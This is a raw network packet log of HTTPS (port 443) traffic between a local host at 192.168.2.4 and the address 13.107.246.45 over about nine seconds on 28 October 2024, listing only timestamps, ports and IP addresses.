Oct 28, 2024 08:18:59.825284958 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.825690031 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.825697899 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.832963943 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.833586931 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.833596945 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.834878922 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.834884882 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.839289904 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.839719057 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.839730978 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.840800047 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.840805054 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.952239037 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.952289104 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.952374935 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.952402115 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.952446938 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.952724934 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.952724934 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.952744961 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.952759027 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.957453012 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.957495928 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.957597971 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.957775116 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.957793951 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.963845968 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.963895082 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.963968039 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.963978052 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.963994026 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.964128017 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.964263916 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.964263916 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.964272022 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.964282036 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.966649055 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.966691971 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.966778994 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.966974020 CET	49961	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.966989994 CET	443	49961	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.970480919 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.970896959 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.970995903 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.970995903 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.970995903 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.973010063 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.973022938 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:59.973093033 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.973236084 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:59.973248005 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.278188944 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.278212070 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.685717106 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.689318895 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.689359903 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.689790964 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.689800024 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.712308884 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.712681055 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.712697029 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.713087082 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.713092089 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.816708088 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.817094088 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.817164898 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.817281961 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.817378998 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.817390919 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.817390919 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.817442894 CET	49960	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.817451000 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.817466021 CET	443	49960	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.820077896 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.820111036 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:00.820211887 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.820353031 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:00.820369959 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.046447992 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.047614098 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.047677994 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.047782898 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.047782898 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.047842026 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.047842026 CET	49962	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.047863960 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.047877073 CET	443	49962	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.050522089 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.050561905 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.050649881 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.050817966 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.050841093 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.566695929 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.567256927 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.567300081 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.567820072 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.567827940 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.697427034 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.697513103 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.697685003 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.697784901 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.697803974 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.697817087 CET	49963	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.697824955 CET	443	49963	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.700429916 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.700474977 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.700550079 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.700936079 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.700947046 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.808526039 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.809335947 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.809356928 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.809803963 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.809808969 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.942234993 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.942425966 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.942502022 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.942604065 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.942625999 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.942639112 CET	49964	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.942645073 CET	443	49964	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.945535898 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.945560932 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:01.945647955 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.945817947 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:01.945832968 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.231165886 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.233094931 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.233129978 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.233192921 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.233335018 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.233350039 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.431420088 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.431847095 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.431870937 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.432303905 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.432308912 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.572541952 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.572583914 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.572640896 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.572690010 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.572741985 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.572933912 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.572952986 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.572966099 CET	49965	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.572973013 CET	443	49965	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.576137066 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.576194048 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.576268911 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.576411009 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.576430082 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.676409960 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.676958084 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.677002907 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.677413940 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.677419901 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.806066990 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.806286097 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.806351900 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.806425095 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.806443930 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.806467056 CET	49966	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.806473017 CET	443	49966	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.809467077 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.809488058 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.809562922 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.809824944 CET	49969	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.809839010 CET	443	49969	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.987178087 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.989814997 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.989840031 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:02.990267992 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:02.990273952 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.163001060 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.163083076 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.163136005 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.163559914 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.163580894 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.163599968 CET	49967	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.163606882 CET	443	49967	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.169786930 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.169840097 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.169903040 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.170430899 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.170448065 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.313739061 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.315804005 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.315851927 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.328907967 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.328934908 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.456598043 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.456634045 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.456691027 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.456773996 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.456825972 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.536454916 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.536500931 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.536550999 CET	49968	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.536560059 CET	443	49968	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.629838943 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.629880905 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.629945040 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.630074024 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.630084991 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.905983925 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.906626940 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.906656027 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:03.907073975 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:03.907079935 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.037761927 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.037802935 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.037895918 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.037981033 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.038094997 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.038345098 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.038371086 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.038383007 CET	49970	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.038391113 CET	443	49970	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.041649103 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.041704893 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.041814089 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.041994095 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.042000055 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.361754894 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.362468004 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.362503052 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.362910986 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.362921000 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.494154930 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.494335890 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.494462013 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.494735003 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.494770050 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.494786978 CET	49971	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.494795084 CET	443	49971	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.498038054 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.498091936 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.498183966 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.498385906 CET	49973	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.498400927 CET	443	49973	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.787372112 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.788069963 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.788106918 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.788525105 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.788533926 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.919930935 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.919996977 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.920074940 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.920278072 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.920303106 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.920315027 CET	49972	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.920320988 CET	443	49972	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.923245907 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.923274040 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:04.923357964 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.923540115 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:04.923552990 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.669604063 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.670059919 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.670085907 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.670494080 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.670500994 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.801629066 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.801700115 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.801760912 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.801942110 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.801963091 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.801975012 CET	49974	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.801983118 CET	443	49974	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.807729006 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.807790995 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:05.807893038 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.808356047 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:05.808372974 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.538403034 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.539088011 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.539108038 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.540448904 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.540458918 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.667181969 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.667376041 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.667458057 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.667532921 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.667545080 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.667557001 CET	49975	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.667562008 CET	443	49975	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.670584917 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.670627117 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.670715094 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.670828104 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.670841932 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.695746899 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.695854902 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.697968006 CET	49976	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.697979927 CET	443	49976	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.698319912 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.698337078 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.698400974 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.698689938 CET	49977	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.698702097 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.712258101 CET	443	49977	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.714797974 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.714816093 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.714893103 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.715078115 CET	49978	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.715094090 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.728598118 CET	443	49978	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.728805065 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.728813887 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:06.728873968 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.729121923 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:06.729130983 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.343923092 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.344012976 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.345148087 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.345216036 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.347973108 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.347980022 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.474314928 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.475358963 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.475383997 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.475397110 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.475488901 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.475526094 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.599685907 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.652982950 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.652995110 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.656284094 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.703327894 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.781407118 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.783962965 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.783978939 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.908528090 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:07.910903931 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:07.910923958 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.037879944 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.040148020 CET	49979	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:19:08.040163994 CET	443	49979	13.107.246.45	192.168.2.4
Oct 28, 2024 08:19:08.164760113 CET	443	49979	13.107.246.45	192.168.2.4
